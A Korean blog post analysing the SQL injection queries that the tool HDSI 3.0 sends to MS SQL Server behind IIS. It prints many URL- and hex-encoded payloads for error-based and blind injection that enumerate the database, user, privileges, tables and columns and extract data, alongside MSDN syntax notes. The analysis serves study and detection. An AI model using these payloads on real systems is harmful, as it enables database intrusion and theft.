2008.08.16 17:09

Pangolin 쿼리 분석 (1) - MSsql with Error

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
2008.08.07 23:54

Pangolin 쿼리 분석 (2)

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
2008.07.24 19:04

HDSI 3.0 쿼리분석 (1)


중국 SQL Injection Tools 중 가장 보편적이라고 할 수 있는 HDSI 3.0 중
SQL Injection을 위한 Query에 대해서 중점적으로 살펴보겠습니다.
UI에 대한 설명과 사용법은 생략합니다.

HEAD ;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) HTTP/1.1

헤더를 조작해서 table를 생성합니다.
이 쿼리 때문에 공격을 당했을 경우 't_jiaozhu' 테이블이 남게 되는 것이죠..

and(char(94)%2Bdb_name()%2Bchar(94))>0
nvarchar .. '^DB_NAME^'..(..)

위 쿼리 입력시 IIS 응답코드 '500'을 통해서 '^'와 '^' 사이에 DB 이름이 나타납니다.

권한을 확인합니다.
And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0
varchar .. '^1^'

사용자를 확인합니다.
And%20char(94)%2Buser%2Bchar(94)=0
varchar .. '^dbo^'..(..)

DB 이름을 확인합니다.
And%20char(94)%2Bdb_name()%2Bchar(94)=0
nvarchar .. '^DB_NAME^'..(..)

;declare%20@a%20int--

이렇게 해서 사용자명과 DB 이름을 획득합니다.
그 후 @a를 int형으로 선언하네요..

DECLARE 문을 사용하여 일괄 처리나 프로시저의 본문에 변수를 선언하고 SET 또는 SELECT 문을 사용하여 값을 할당합니다. 이 문을 사용하여 커서 변수를 선언하고 다른 커서 관련 문과 함께 사용할 수 있습니다. 선언한 후 모든 변수가 NULL로 초기화됩니다.

DECLARE
     {{ @local_variable [AS] data_type }
    | { @cursor_variable_name CURSOR }
    | { @table_variable_name [AS] < table_type_definition > }
     } [ ,...n]

다음 예에서는 @find라는 로컬 변수를 사용하여 성이 'Man'으로 시작하는 모든 연락처 정보를 검색합니다.

USE AdventureWorks;
GO
DECLARE @find varchar(30);
SET @find = 'Man%';
SELECT LastName, FirstName, Phone
FROM Person.Contact
WHERE LastName LIKE @find;


다음 쿼리문을 보기에 앞서 CAST 연산자에 대해서 간단히 알아보고 넘어가겠습니다.

Syntax for CAST:
CAST ( expression AS data_type [ (length ) ])

expression
    유효한 식입니다.

data_type
    대상 시스템에서 제공하는 데이터 형식입니다. xml, bigint 및 sql_variant가 있습니다.
    별칭 데이터 형식은 사용할 수 없습니다.
    사용 가능한 데이터 형식에 대한 자세한 내용은 데이터 형식(Transact-SQL)을 참조하십시오.

length
    nchar, nvarchar, char, varchar, binary 또는 varbinary 데이터 형식의 선택적 매개 변수입니다.
    
style
    datetime 또는 smalldatetime 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar 또는 nvarchar 데이터 형식)로 변환하거나
    알려진 날짜 또는 시간 형식의 문자 데이터를 datetime 또는 smalldatetime 데이터로 변환하는 데 사용되는 날짜 형식 스타일
    또는 float, real, money 또는 smallmoney 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar 또는 nvarchar 데이터 형식)로
    변환하는 데 사용되는 문자열 형식 스타일입니다. style이 NULL이면 반환되는 결과도 NULL입니다.

    
// 전체 사용자 정의 테이블 개수 확인
And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20
[DB_NAME]..[sysobjects]%20where%20xtype=char(85))=0

varchar .. '^5^'

And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))
%20from(Select%20Top%203%20id,name%20from%20[DB_NAME]..sysobjects]%20
Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)
%20T%20order%20by%20name%20desc,id%20asc)>0

^TABLE_NAME^

And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20
From%20[DB_NAME]..[COLUMN__NAME]%20Where%201=1)>0

varchar .. '^1^'


위와 같은 쿼리문을 통해  각각의 테이블에 존재하는 자료의 개수까지 파악합니다.

다음 쿼리문을 보기에 앞서 From 구정의 Alias에 대해서 간단히 알아보고 넘어가겠습니다.

FROM { <table_source> } [ ,...n ] ]
<table_source> ::=
{
        table_or_view_name [ [ AS ] table_alias ] [ <tablesample_clause> ]
        [ WITH ( < table_hint > [ [ , ]...n ] ) ]
    | rowset_function [ [ AS ] table_alias ]
        [ ( bulk_column_alias [ ,...n ] ) ]
        | user_defined_function [ [ AS ] table_alias ] [ (column_alias [ ,...n ] ) ]
    | OPENXML <openxml_clause>
    | derived_table [ AS ] table_alias [ ( column_alias [ ,...n ] ) ]
    | <joined_table>
    | <pivoted_table>
    | <unpivoted_table>
      | @variable [ [ AS ] table_alias ]
        | @variable.function_call ( expression [ ,...n ] ) [ [ AS ] table_alias ] [ (column_alias [ ,...n ] ) ]
}


즉 from table_or_view_name [AS] A where A.name='aehwamong'
이런식의 표현이 가능하다는 것입니다.

또한 sysobject라는 테이블과 syscolumns라는 테이블에 대해서 간단히 살펴보겠습니다.
sysobjects는 DB에 생성된 Object에 대한 정보를 가지고 있는 테이블 입니다.
syscolumns DB에 있는 모든 테이블 및 뷰의 모든 열에 대한 행,
그리고 저장 프로시저의 각 매개 변수당 한 개의 행을 반환합니다.

// 해당 테이블의 컬럼 개수 확인 - 6개
And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20
from%20[DB_NAME]..[syscolumns]%20A,[DB_NAME]..sysobjects]%20B%20
where%20A.id=B.id%20and%20B.name='[TABLE_NAME]')>0

varchar .. '^6^'..(..)

// 컬럼수 만큼 반복하면서 컬럼 이름을 확인합니다.
And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))
%20from(Select%20Top%201%20B.name%20from%20[DB_NAME]..[sysobjects]%20A%20,[DB_NAME]..syscolumns]%20B%20where%20A.id=B.id%20and%20A.name='[TABLE_NAME]'
%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0

varchar .. '^[COLUMN_NAME]^'..(..)

// 각 컬럼에 자료형을 확인합니다. 175면 'varchar' 형입니다.
And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20
from%20[DB_NAME]..[sysobjects]%20A,[DB_NAME]..syscolumns]%20B%20
where%20A.id=B.id%20and%20A.name='[TABLE_NAME]'%20and%20B.name='[COLUMN_NAME]')>0

varchar .. '^175^'..(..)

// 획득한 DB, Table, Columns 정보를 이용하여 특정 값을 획득합니다.
And%20(select%20top%201%20char(94)%2Bcast(Column1%20as%20varchar(8000))%2Bchar(94)%20%20from%20(%20select%20top%201%20Column1,Column2%20from%20[DB_NAME]..[TABLE_NAME]%20order%20by%20Column1%20desc,Column2%20asc%20)%20as
%20as_TableName%20order%20by%20Column1%20asc,Column2%20desc%20)>0

And%20(select%20top%201%20char(94)%2Bcast(Column2%20as%20varchar(8000))%2Bchar(94)%20%20from%20(%20select%20top%201%20Column1,Column2%20from%20[DB_NAME]..[TABLE_NAME]%20order%20by%20Column1%20desc,Column2%20asc%20)%20as%20
as_TableName%20order%20by%20Column1%20asc,Column2%20desc%20)>0

블라인드 공격을 할 경우에는 다음과 같은 쿼리문을 이용합니다.

%20and%20(select%20count(1)%20from%20sysobjects)>0
이 쿼리를 통해서 인젝션 성공했을 경우 IIS 응답코드 '200'을 획득할 것입니다.

%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%33%32
위 쿼리를 디코딩 하면 "and (select len(user))<32"와 같습니다.
사용자 이름의 길이를 확보하기 위한 쿼리네요.

%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%31%36 -> 200
%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%38       -> 200
%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%34       -> 200
%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%32       -> 500
%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%33       -> 500
%20%61%6E%64%20%28%73%65%6C%65%63%74%20%6C%65%6E%28%75%73%65%72%29%29%3C%34       -> 200
이렇게 쿼리를 보내서 결과를 보고 사용자 이름의 길이를 판단합니다.
위의 경우 32 / 16 / 8 / 4 / 2 순서대로 요청을 해서 IIS 응답코드 '500' 를 확인합니다.
이후 가장 최근에 입력한 "사용자  길이 +1" 값을 가지고 요청해서 '200'코드를 확인합니다.
사용자 이름의 값은 가장 마지막 '500'코드 확인시 전달한 값이 됩니다.
즉 위의 경우에는 '3'이 됩니다.

%61%6E%64%20%28%73%65%6C%65%63%74%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28%75%73%65%72%2C%31%2C%31%29%29%29%3C%38%30

%61%6E%64%20%28%73%65%6C%65%63%74%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28%75%73%65%72%2C%32%2C%31%29%29%29%3C%38%30

%61%6E%64%20%28%73%65%6C%65%63%74%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28%75%73%65%72%2C%33%2C%31%29%29%29%3C%38%30

%61%6E%64%20%28%73%65%6C%65%63%74%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28%75%73%65%72%2C%31%2C%31%29%29%29%3C%31%30%34

%61%6E%64%20%28%73%65%6C%65%63%74%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28%75%73%65%72%2C%32%2C%31%29%29%29%3C%31%30%34

각각의 디코딩 결과는 다음과 같습니다.
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104

블라인드 SQL Injection 공부를 해 보신 분들은 다 아실 것입니다.
 
SUBSTRING ( value_expression ,start_expression , length_expression )
value_expression
    character, binary, text, ntext 또는 image 식입니다.

start_expression
    반환된 문자가 시작되는 위치를 지정하는 정수 또는 bigint 식입니다.
    start_expression이 0보다 작으면 오류가 발생하면서 문이 종료됩니다.
    start_expression이 값 식의 문자 수보다 크면 길이가 0인 식이 반환됩니다.

length_expression
    반환될 value_expression의 문자 수를 지정하는 양의 정수 또는 bigint 식입니다.
    start_expression이 음수이면 오류가 발생하면서 문이 종료됩니다.
    start_expression과 length_expression의 합계가 value_expression의 문자 수보다 크면 전체 값 식이 반환됩니다.
    
반환형식
    expression이 지원되는 문자 데이터 형식 중 하나이면 문자 데이터를 반환합니다.
    expression이 지원되는 binary 데이터 형식 중 하나이면 이진 데이터를 반환합니다.
    반환되는 문자열은 다음 표에 표시된 항목을 제외하고 지정된 식과 같은 형식입니다.

일반적인 Blind SQL Injection 공격에는 다음과 같은 쿼리가 사용됩니다.
AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109

select 함수로 사용자 테이블을 선택하고,
substring을 이용해서 첫 번째 글자를 선택하고,
lower()을 이용해서 이를 소문자로 바꾼 다음,
ascii를 이용해서 그 문자의 아스키 값을 획득한다.
만약 이를 통해서 정상적인 결과를 얻었다면 첫 번째 문자는 코드값 109(m)보다 큰 것이다.

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

위와 같이 입력해서 아무것도 획득하지 못했다면 그 값은 아스키 코드값 116(t)인 것 보다 작다는 것이다.
위의 결과로 첫 번째 문자의 아스키 코드값은 110 이상 115 이하인걸 알 수 있다.
이러한 일을 반복하여 그 범위를 줄여 나가다 보면 특정 문자를 알 수 있을 것이다.

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) = 111

만약 위와 같은 문장이 정상적인 페이지를 보여준다면, 첫 번째 문자의 아스키 코드 값은 111이며, 그에 해당하는 문자는 (다들 아시겠지만) ‘o’ 이다.

참고사이트
http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
http://msdn.microsoft.com/ko-kr/library/ms187748(SQL.100).aspx
http://msdn.microsoft.com/ko-kr/library/ms188927.aspx
http://technet.microsoft.com/ko-kr/library/ms187928.aspx    
http://msdn.microsoft.com/ko-kr/library/ms177634.aspx       
http://msdn.microsoft.com/en-us/library/aa260398(SQL.80).aspx  
http://msdn.microsoft.com/en-us/library/aa260447(SQL.80).aspx  
신고
트랙백이 없고 댓글이 없습니다.


티스토리 툴바